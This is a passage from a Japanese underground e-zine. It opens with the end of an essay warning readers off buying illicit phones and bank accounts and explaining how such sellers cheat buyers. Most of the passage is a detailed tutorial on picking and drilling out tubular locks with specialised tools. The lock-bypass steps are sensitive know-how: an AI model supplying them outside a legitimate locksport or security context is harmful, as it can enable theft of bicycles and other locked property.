口座を作成して金儲けしても3000万も儲けれません。  たかだが3000万のために犯罪者の肩書きが欲しいなら止めませんが、私の手口 だと必ずバレます。  ...っと説教無駄にしても行けませんネ(笑)  さてここで犯罪者を相手にする場合なにが危険なのか(Bible読んでくれた方な ら解ると思うが) まず... ○携帯電話  最近の取引は掲示板などログや個人特定が難しい場所でカモ(貴方)を犯罪者は 探してきます。  なのでそういう取引旺盛な掲示板へ行けば簡単にそういう売買は行えます(私は 最近見かけませんが、理由としては私が少し派手に荒らしたせいかなとか自負し ちゃいます。)  ってな感じで掲示板型取引が主流です。  相場では携帯電話プリペイド型2万円。口座5〜10万円。クレカ10万?(忘 れた)ぐらいが主流。  ...さて本題ですが、「安いじゃん(笑)買っちゃおうかなwwww」って人が多いの ですが、購入取引は掲示板内(インターネットではなく)現実取引が主流です。  偽造業者の雇った運び屋(1仕事いくらか偽造職人が払ってバイトさせる)が貴 方と待ち合わせし運びに行きます。  『現実取引とか優良企業(笑)なにが詐欺業者だよwww』って馬鹿を良く見かけま すが...  これは心理学的要素を用いた取引だと言えるでしょう。  購入者(貴方)からしたらインターネット完全取引制だと詐欺られるのではない かという不安を抱いてしまいます。  なので業者はカモが引っかかりやすいように現実取引を持ってきます。  そして詐欺の手口としては..  前金1万を入金させる(これは運送代としてよこせと言われます)、そして合っ て残りの4万を支払い携帯電話(その場で通信出来る事を確認されます)渡されま す。...そして数時間後業者がその携帯電話を解約、これで業者は5万円を手に入 れ購入者はただの玩具をつかまされるわけです。  ..っとめっちゃリアルに書いてしまったが、手口調べるの苦労したんだわ本当...  次に銀行口座だけど... ○銀行口座  そろそろ書くのめんどくなってきたので手短に書くけど...  これは詐欺儀者(偽造人)が購入者に口座を普通に売り渡します。  その後購入者はその口座に金をつぎ込む事でしょう(それが目的で買ったわけだ し)  そして詐欺業者は金がたまった頃にマスターカードで購入者が入れた金を全部 抜き取ります。  ...イヤァ酷いとは思わないけどグロテスクな手法ですね。  まさにクロサギを見てるかのようです。  馬鹿『マスターカードってなんだよボケェ、んなのあるわけねぇだろボケぇ』 っておっちゃる方が多いのですが...  その口座持ち主は詐欺業者の方ですので、詐欺業者の方が口座やカードをもっ ていなくても金が引き下ろせるように(窓口でだと思うけど)そういうマスターカ ード(正式名称ではない)が存在する。  これも良く悪徳業者(全部そうだけど)が良く用いる手法です。  じゃあ俺が作って業者みたいに金儲けしてやる(ウヒョヒョヒョヒョっていう 馬鹿のタメに人生の先輩が一言。 これは私が知ってる中ではかなり古くからある偽造関係の方なのですが... こういう方でも捕まっちゃいます。 LINK:: http://sankei.jp.msn.com/region/news/130130/kng13013019590007-n1.htm それでも貴方はまだ偽造をすると言いますか?って質問ですね。 ○感想  WizardBibleにこの手の原稿をあげたせいか、こういう関係で質問が少なからず くるのでここで書きました。  別に手口だけ知ってるだけで実際にやったわけじゃないですから、これを実践 すると多分逮捕すぐされちゃうと思いますよ(笑)  遠隔操作しかり、警察の現実捜査は素晴らしく高性能ですから。  特に10代が20歳以上になるため欲しいというケースが多いけど、リスクが 高いので辞めた方が宜しいと思いますね。  偽造した際にひっかかりそうな"罪"ですが... ・詔書偽造等の罪(154条) ・公文書偽造等の罪(155条) ・虚偽公文書作成等の罪(156条) ・公正証書原本不実記載等の罪(157条) ・偽造公文書行使等の罪(158条) ・私文書偽造行使等の罪(159条) ・虚偽診断書等作成罪(160条) ・偽造私文書等行使罪(161条) ・電磁的記録不正作出及び供用の罪(161条の2)  ってところでしょう。 Link: http://ja.wikipedia.org/wiki/%E6%96%87%E6%9B%B8%E5%81%BD%E9%80%A0%E7%BD%AA  そんなわけでこういう取引をしたいけどこのブログ見たらやる気なくなった。 って方が少数でも出れば今回この記事を書いてよかったと思えます。  こういう犯罪者の手口はまた知る機会があればこうやってそれから生まれる危 険性とかを入れながら解説して行きたい所存です。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第3章: 八万ロック解錠概論 --- 著者:IPUSIRON x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■0x01.) はじめに  八万ロックとは、鍵穴が円上になっており、円柱状の鍵を挿すことで開けるタ イプの錠前のことである。チューブラー錠、エース錠などとも呼ばれる。  日本では自転車やバイクのU字ロックなどによく用いられる。また一部のパチン コやゲームの筐体にも用いられている。  ピンシリンダー錠やディスクシリンダー錠などの構造や解錠方法はよく見受け られるが、それに比べて八万ロックの構造や解錠方法の情報は少ない。八万ロッ クの解錠方法について記述されている場合であっても、コツまでは書かれていな い。  そこで本稿では八万ロックを解錠するための基礎理論と解錠時のコツなどにつ いて紹介したい。 ■0x02.) 八万ロックのバインド&フィール解錠  八万ロックはピンシリンダー錠の仲間であるが、通常のピンシリンダー錠とは ピンの配置が異なり、それに依存して鍵の形も大きく異なる。  通常のピンシリンダー錠はピンが一列に並んでいるため、鍵の挿入面の上部を 見ると直線状になっている(挿入面の中間部・下部は鍵穴の形に合わせて形を変 える)。  一方、八万ロックの場合はピンが円周上に配置されているため、鍵の挿入面を 見ると円状になっている。  このようにピンの配置や鍵の形の違いはあるが、通常のピンシリンダー錠の解 錠の考え方は八万ロックにも適用できる。  つまり、テンションをかけて、ピックでピンを押し上げ、ピンの収まる穴の段 差に乗せる。これをすべてのピンに対して行い、シアラインが揃えば、内筒が回 転するわけである。  よって、ピックとテンションがあれば解錠できるわけである。ただし、通常の ピンシリンダー錠のピッキングで使用するピックとテンションと同一のものは使 用できない。  まず、ピックについて解説する。  通常のピンシリンダー錠をレ—キングではなく、バインド&フィール解錠する 場合は、主にフックピックやダイヤモンドピックを使用するだろう。しかし、こ れらのピックを八万ロックの鍵穴に入れても、意味がない。なぜならばこれらの ピックは一旦鍵穴に入れてから、底の方からピンを押し上げるための形状だから である。  一方、八万ロックのピンは鍵の挿入口から見て垂直に立っている。そのため、 鍵穴側から押し込む必要がある。よって、ピックは1本の針金状のもので十分とい うことになる。当然針金状のままでは持ちにくいため、何らかの加工が必要であ る。また、先端は鍵穴に入る直径以下であり必要があるが、余りに直径が小さい とピンに当てにくい。逆にピンの直径よりも大きいと、ピンの収まる穴までに入 らなくなってしまう。以上より、ピンの直径より若干小さいぐらいがちょうどよ い。これを満たす針金を購入して自作してよいが、自分はピンセットを加工する ものを使っている。本当は千枚通しのように握り手がしっかりしているものがよ いが、普通に売られている千枚通しは先端が尖りすぎており、さらにだんだんと 太くなっている。つまり、ピンを押し当てる面積が少なく、もし押し当てること ができても途中で鍵穴の幅よりも直径が大きくなってしまい十分に押せなくなる こともある。こういった問題をクリアするように加工すれば、千枚通しもよいだ ろう。  次は、テンションについて解説する。  通常のピンシリンダー錠のピッキングでは、L字テンションを用いる(アンチピ ッキングピンがあるならフェザータッチテンションを用いる)。これは八万ロッ クでも同じである。しかし、通常のピンシリンダー錠のL字テンションをそのまま 八万ロックに使っても、おそらく鍵穴の幅や形状の問題で、内筒に対して適度な テンションをかけることが難しい。  そこで、通常のピンシリンダー錠の解錠では細い幅を持つL字になっているL字 テンションを使用するが、八万ロックに対する解錠では太い幅を持つL字になって いるL字テンションを使用する(イメージとしてはドラゴンテンションに近い)。  これで八万ロックのバインド&フィール解錠に使う道具は揃った。これで理論 的には八万ロックを解錠できるはずである。しかし、実は落とし穴がある。  通常のピンシリンダー錠の場合はシアラインが揃い、内筒が回転してしまえば、 そのままテンションに力を入れて回していけばよい。180度回転した時点で、鍵穴 の底(180度回転しているから位置的には一番上になっている)の隙間に、スプリ ングに押された上ピンが落ちてきて、そこで固定されてしまうことがある。この ときは別のテンションレンチを後ろから入れて、同時に持ち上げて上げつつ内筒 を回せばよい。そうすればまた内筒が回り、360度回転したところで、デッドロッ ク全体が引っ込み、ドアが開けられる状態になる。  一方、八万ロックの場合はシアラインが揃い、内筒を回転すると、少し回転さ せただけでロックがかかる。これはピンが存在する位置まで回した時点で、スプ リングに押されたピンが元に戻ってしまうからである。八万ロックは360度回転さ せるわけではなく、通常は90度または180度であるが、ピン数は通常7ピンほどあ るので、2,3回はこのロック状態になってしまう。このロック状態になったら、 また一からバインド&フィール解錠を行う必要がある。  4ピンぐらいであればバインド&フィール解錠をやり直すのも手間はかからない が、7ピン・8ピンとなると内筒が回転するまで持っていくまでに時間がかかる上 に、ロック状態になる位置も増えるため、全体として非常に手間がかかる。  そのため、一般的には八万ロック専用ツールを使うことが多い。  次は専用ツールと使った解錠方法について紹介する。 ■0x03.) PKX-Ax利用による八万ロックの解錠  PKX-AxとはPRO-LOKが販売している八万ロック専用の解錠ツールである。7ピン 用はPKX-A1、8ピン用はPKX-A3である。以下のURLで販売されている(それぞれ70 ドル)。 https://www.pro-lok.com/c-79-premium-tubular-ace-picks.aspx  解錠したい八万ロックのピン数によって、用意する道具が異なることになる。  さらに、ピン数が一致するからといって、これを購入しても構造上解錠できな い八万ロックはたくさんある。  つまり、万能ツールではないことを知っておいてもらいたい。  私の場合は次に示す手順で開錠することが多い。 1:7ピン・8ピンの八万ロックを開錠したい場合、まずPKA-Axを何度か試す(構 造上使えるタイプであっても開けないことも多い)。 2:PKA-Axでダメだったら、次に紹介するPKA2を試す。  また、7ピン・8ピンの八万ロックでない場合や、変則的なキーウェイを持つ八 万ロックの場合は、バインド&フィール解錠を行う。  専用ツールを使うことで解錠がものすごく楽になることはあるが、使用できる 八万ロックは限られる。PKX-Axを使用する上で注意すべき八万ロックの構造を次 に示す。  まずはピン数である。専用ツール側と対象八万ロック側でこれが一致していな いと解錠はできない。  次にキーウェイ、即ち鍵穴の形である。バインド&フィール解錠の場合は、テ ンションを掛けるときしか鍵穴の形は意識しなくてよかった。しかし、専用ツー ルを使う場合は別である。専用ツールの先端が鍵穴にはまらない限り、解錠を試 すことさえができないからである。  PKX-Axの先端側から見ると、円柱の内側に凸部がある。そのため、開錠したい 八万ロックのキーウェイが、内側に凹部がないと、PKX-Axを挿入することさえで きないということになる。内側に凹部があっても、PKX-Axの凸部が収まる形にな っていなければならない。つまり、凸部の長さよりも凹部の長さが小さい場合は ダメということになる。  PKX-Ax以外にも類似の専用ツールは存在する。これを購入する場合はピン数と 適用できるキーウェイに注意する必要がある。  適用できるキーウェイについてはカタログなどにも載っていないことが多い。 実物あるいは実物の写真から自分で判断するのが一番よいだろう。  以上のことをクリアすれば、PKX-Axで八万ロックが解錠できる可能性がある。  それではPKX-Axによる解錠方法を紹介する。 1:PKX-Axの本体にあるつまみを回して、ピンを押し出す「くの字」の板(以後、 フィーラーと呼ぶ)の固定を緩める。 2:持ち手とつまみの間にある円盤状の板を先端部に押し、すべてのフィーラーを 先端からはみ出るように出す。 3:机などの平たい場所に先端を押しつけて、フィーラーの先端を円柱の先端に揃 える。 4:つまみを回して、フィーラーを半固定にする。ここが難しい。完全に固定して もダメだし、緩すぎてもダメである。 5:これで準備ができたので、対象の八万ロックに少しずつ挿入する。  その際、時計周り・反時計周りに繰り返し回転しつつ、少しずつ奥に当てる。 奥に当たってもしばらく続ける。うまくいけば数秒〜10秒ぐらいで開錠できるは ずである。10秒以上これを繰り返しても開かない場合は、やり直してみる。  やり直す前に先端部を確認してもらいたい。もしフィーラーが奥(持ち手側) に行きすぎているものがあれば、ステップ4における固定が緩すぎたことを意味す る。逆にフィーラーが全然動いていなければ、固定が強すぎたことを意味する。  なお、つまみをまわすとすべてのフィーラーの固定に影響する。使い続けると 一部のフィーラーは半固定されるが、一部のフィーラーは緩すぎるということが ありうる。その度にメンテナンスする必要がある。最悪の場合は新しいPKX-Axを 購入する必要だろう(購入しても最初からこの問題があることもある)。  運よくPKX-Axで開錠できたら、付属している鍵状のもので各ピンの段差をメモ しておくべきである。一度メモしておけば、次回はこの段差をセットしてからつ まみをまわして完全に固定した状態で開錠できるはずである。  本当は解錠以前に、内筒がちょっとでもまわった時点でPKX-Axを抜いて、ピン の段差をメモすべきである。なぜならば、内筒を回して、ピンの位置が次のピン の位置と一致したところで何かの拍子でロックされることもあるからである(バ インド&フィール解錠のところで解説した)。  ステップ1〜3を簡略化できるクイック・リセット・チューブラーピックという ものも存在する。製品名はTLP-7SB(7ピン対応)で、140ドル前後で売られている。 個人的にはPKX-A1より、TLP-7SBの方が使いやすい(作りが頑丈で、鍵穴の直径が 小さい場合にも対応できるため)。 ■0x04.) PKA2利用による八万ロックの解錠  PKA2はPRO-LOKが販売している7ピンの八万ロック専用の解錠ツールである。以 下のURLで販売されている(273ドル)。 https://www.pro-lok.com/pc-281-79-pka2-deluxe-tubular-ace-pick.aspx  バインド&フィール解錠を確実に行うための道具といえる。バインド&フィー ル解錠の場合、内筒を回転しているときに次のピンの位置でロックされてしまう が、PKA2の場合ピンの段差が確定した時点で、フィーラーをねじで固定してしま うことで、内筒が回った時点ですべてのフィーラーが完全に固定される。つまり、 次のピンの位置でもロックされないというわけである。  使い方はバインド&フィール解錠と基本的には同じである。  PKA2を鍵穴に挿入して、PKA2全体を軽く時計周りにまわしテンションをかける。 後はピックの代わりにフィーラーを使って、ピンが収まる穴の段差に乗せ、その 時点でフィーラーを固定するのである。  注意すべき点はPKA2全体がテンションの代わりになるため、解錠中に鍵の挿入 面から見てPKS2が斜めにならないようにするということである。  アンチピッキングのところでも述べるが、PKA2は鍵の挿入位置のオフセットが ずれていても対応できる。これは他の専用ツールには存在しない大きな特徴とい える。 ■0x05.) ホールソーによる八万ロックの破錠  どうしても解錠できない場合は破錠するしかない。  通常のピンシリンダー錠の場合は鍵穴方向から見ると、ピンは一列に並んでい るため、そこをドリルで狙うことで破錠できる。八万ロックの場合はピンが円周 上に存在するため、すべてのピンをドリルで狙うことになってしまう。すべての ピンの位置にドリルで穴を開けようとしても、不完全に穴が開いてしまうと、砕 かれたピンの屑がピンの収まる穴に詰まってしまい、状況が悪化することもある。  そこでドリル+八万ロック専用ホールソーを使った破錠をお勧めする。八万ロ ック専用ホールソーは1個50ドル売られており、これを使うことで円周部のみを直 接削ることができる。  コツはある程度削ったら削り屑を取り除くことである。削り屑を取り除いたら、 またホールソーで削っていく。これを繰り返して、ある程度奥まで削ることがで きれば、きれいにシアライン上にひっかかるものなくなり、内筒を回転できる。  実際に試したところ、八万ロック専用ホールソーを使わない場合に数十分かか った作業が、八万ロック専用ホールソーを使うと数分で破錠することができた。 ■0x06.) 専用ツールを使う上での注意  専用ツールの使い方を覚えるために、購入した八万ロックで練習する場合には 注意が必要である。練習するということは、開けて終わりではなく、施錠状態に 戻す必要がある。購入したのであれば八万ロックに正規の鍵(合鍵)が付属して いる。本来は合鍵で開錠・施錠を行うわけだが、専用ツールで開錠してから施錠 を行う場合にキーウェイによっては解錠状態のときに合鍵を挿入できないことが ある。つまり、専用ツールで解錠に成功したら、施錠も専用ツールで行わないと 元に戻らないということになる。  特にキーウェイの外筒に凹部と内筒に凹部がある八万ロックは、上記の注意が 必要である。この八万ロックをPKX-Axで解錠し、解錠した状態でPKX-Axを抜くと、 八万ロックのキーウェイとしては、0時方向に外筒の凹部、3時方向(あるいは6時 方向)に内筒の凹部がある状態になる(外筒は固定されているため外筒の凹部は 移動せず、内筒は回転するため内筒の凹部は移動する)。こうなると合鍵は挿入 できない。なぜならば合鍵は先端方向から見ると0時方向の外側と内側に凸部があ るからである。  なお、解錠に成功した時点でのピンの段差をメモしておかなくても、合鍵があ るのでそこからピンの段差を判定して、専用ツールに設定すればよい。 ■0x07.) 八万ロックのアンチピッキング技術  八万ロックにも容易に不正解錠させないために様々な技術が存在する。  アンチピッキング技術は次の2つに大別される。 ・通常のピンシリンダー錠で使用されているアンチピッキング技術(あるいはそ の応用) ・八万ロック独自のアンチピッキング技術 ●通常のピンシリンダー錠で使用されているアンチピッキング技術  一番素朴な方法がピン数を増やすというものである。ピン数が増えるごとにバ インド&フィール解錠は困難になり、PKX-Axは7ピン・8ピンにしか対応しておら ず、PKA2は7ピンにしか対応していない。つまり、10ピンにしてしまえばこれらの 専用ツールでは解錠できないわけである。10ピン用の専用ツールも存在するが、 種類は少ないし、解錠側もあらゆるピン数に対応するためにすべての専用ツール を所持しているわけではない。  よく使用され、なおかつ不正解錠にもそれなりの力を発揮するのが、アンチピ ッキングピンの利用である。通常のピンシリンダー錠と同様に、スプールピン、 マッシュルームピン、鋸歯状ピンなどのアンチピッキングピンを使用されるだけ で、PKA2では解錠しにくくなる。  キーウェイに工夫するという方法がある。特殊なキーウェイにしておくことで 専用ツールを用いることができなくすることができる。さらに、キーウェイの幅 を狭くしたり、テンションをかけにくい凹部にしたりすることで、バインド&フ ィール解錠をしにくくすることも効果が大きい。  スプリングの力を一様にしないという方法がある。つまり、ピンごとにスプリ ングの力を変えるのである。これはPKX-Axによる解錠を防ぐ意味では絶大な力を 発揮する。 ●八万ロック独自のアンチピッキング技術  鍵穴の円周の直径を大きくしたり、小さくしたりする。バインド&フィール解 錠には効果がないが、主要な専用ツールに対しては効果がある。  通常0時のところに凹部が存在するが、この凹部をずらすことで、PKX-Axでは解 錠できなくできる。PKA2ではこれに対応してオフセットを自由に変更できる。 ■0x08.) おわりに  実は八万ロックについてはまだまだ書くべきことが残っている。今回は文字ベ ースの解説なので、画像や動画による解説は省略した。  また、本稿で紹介した八万ロックは基本となるものであり、さらに様々な工夫 を施した八万ロックはたくさん存在する。これらについてはまだ入手できていな いため、あるいはまだ考察中であるため、本稿には含めなかった。  今後、これらについて何らかの進展があれば、WBで紹介したいと思う。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x --- 第4章: お知らせ --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ○Wizard Bible(http://wizardbible.org/)では随時、執筆ライターを募集して います。  扱う内容のテーマは広義での「under ground」です。例えばハッキングやセキ ュリティからピッキングなどと幅広い内容を考えています。また特殊な職業や趣 味の解説などでも構いません。  一回きりでも構いません。また必ず毎回連載する義務もありませんので、でき る範囲で構いません。気軽に声をかけてください。 ○Kenji AikoさんがQ&Aを作ってくれました。初めて参加する人でもわかりやすく 書かれていますので、参考にしてください。 http://wizardbible.org/wbQandA.html ○Wizard Bibleに参加希望の方は気軽にメール(ipusiron@gmail.com)ください。 x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ---- 第5章: 著者プロフィール --- x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x x0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0xx0xXx0x ■ixoqie ●Job: 学生 ●Web: http://ixoqie.sakura.ne.jp/ ●Mail: ixoqie@gmail.com ●Comment:  高校を中退してから専門学校に向かいカーネルやマルウェアを解析していまし た。なんの理由もなく文章を書くのは好きですから、読んでくださいね。 ■Gry ●Job: 心理学 ●Mail: grytohell@gmail.com ●Comment: 心理学を主に研究しています。お仕事などの相談お待ちしております。 ■IPUSIRON ●Job: プログラマー ●Web: http://akademeia.info ●Mail: ipusiron@gmail.com ●Comment:  久しぶりのWBのリリースになります。これまでは締め切りを設けてWBの原稿を 募集しておりましたが、現在は随時原稿を募集しております。  最近は和錠(昔の日本で使われていた錠前)に興味があります。  CoD BO2が発売されたら遊んでくれる人募集です。